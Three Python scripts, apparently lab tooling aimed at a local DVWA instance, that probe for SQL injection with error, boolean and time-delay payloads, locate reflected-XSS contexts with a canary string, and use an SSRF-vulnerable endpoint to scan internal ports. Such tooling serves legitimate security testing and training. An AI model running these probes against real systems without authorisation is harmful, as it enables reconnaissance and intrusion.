import requests import time import sys def detect_sqli(url, param, session_cookies=None): s = requests.Session() if session_cookies: s.cookies.update(session_cookies) baseline = s.get(url, params={param: '1'}).text baseline_len = len(baseline) tests = { 'error': "1'", 'bool_true': '1 AND 1=1', 'bool_false': '1 AND 1=2', 'time_mysql': "1' AND SLEEP(3)-- ", 'time_mssql': "1'; WAITFOR DELAY '0:0:3'--", } results = {} for name, payload in tests.items(): start = time.time() resp = s.get(url, params={param: payload}) elapsed = time.time() - start diff = abs(len(resp.text) - baseline_len) if 'time' in name and elapsed > 2.5: results[name] = f'LIKELY (delay={elapsed:.1f}s)' elif name == 'error' and ('error' in resp.text.lower() or 'sql' in resp.text.lower()): results[name] = f'ERROR DETECTED (len_diff={diff})' elif name == 'bool_true' and diff < 50: results['bool_true'] = f'Same as baseline (diff={diff})' elif name == 'bool_false' and diff > 100: results['bool_false'] = f'DIFFERENT from baseline (diff={diff})' else: results[name] = f'No indicator (diff={diff}, time={elapsed:.1f}s)' return results if __name__ == '__main__': url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost/dvwa/vulnerabilities/sqli/' for test, result in detect_sqli(url, 'id', {'security': 'low'}).items(): print(f' {test}: {result}') 

import requests from html.parser import HTMLParser def find_reflection_context(url, param, canary='XSS_CANARY_7291'): resp = requests.get(url, params={param: canary}) body = resp.text contexts = [] idx = 0 while True: pos = body.find(canary, idx) if pos == -1: break before = body[max(0, pos-200):pos] if '<script' in before.rsplit('<', 1)[-1:][0] if '<' in before else '': contexts.append(('javascript_string', pos)) elif before.rstrip().endswith('='): contexts.append(('attribute_value_unquoted', pos)) elif before.rstrip().endswith('"'): contexts.append(('attribute_value_doublequoted', pos)) elif before.rstrip().endswith("'"): contexts.append(('attribute_value_singlequoted', pos)) else: contexts.append(('html_body', pos)) idx = pos + len(canary) return contexts results = find_reflection_context('http://localhost/dvwa/vulnerabilities/xss_r/', 'name') for ctx, pos in results: print(f' Reflected at position {pos}: context={ctx}') 

import requests import concurrent.futures def ssrf_port_scan(vuln_url, param, internal_host='127.0.0.1', ports=None): if ports is None: ports = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017] open_ports = [] def check_port(port): ssrf_target = f'http://{internal_host}:{port}/' try: resp = requests.post(vuln_url, data={param: ssrf_target}, timeout=5) if len(resp.text) > 100 and resp.status_code == 200: return port, len(resp.text) except requests.Timeout: return port, 'timeout (possibly open)' return None with concurrent.futures.ThreadPoolExecutor(max_workers=5) as pool: futures = {pool.submit(check_port, p): p for p in ports} for future in concurrent.futures.as_completed(futures): result = future.result() if result: open_ports.append(result) print(f' Port {result[0]}: response_length={result[1]}') return open_ports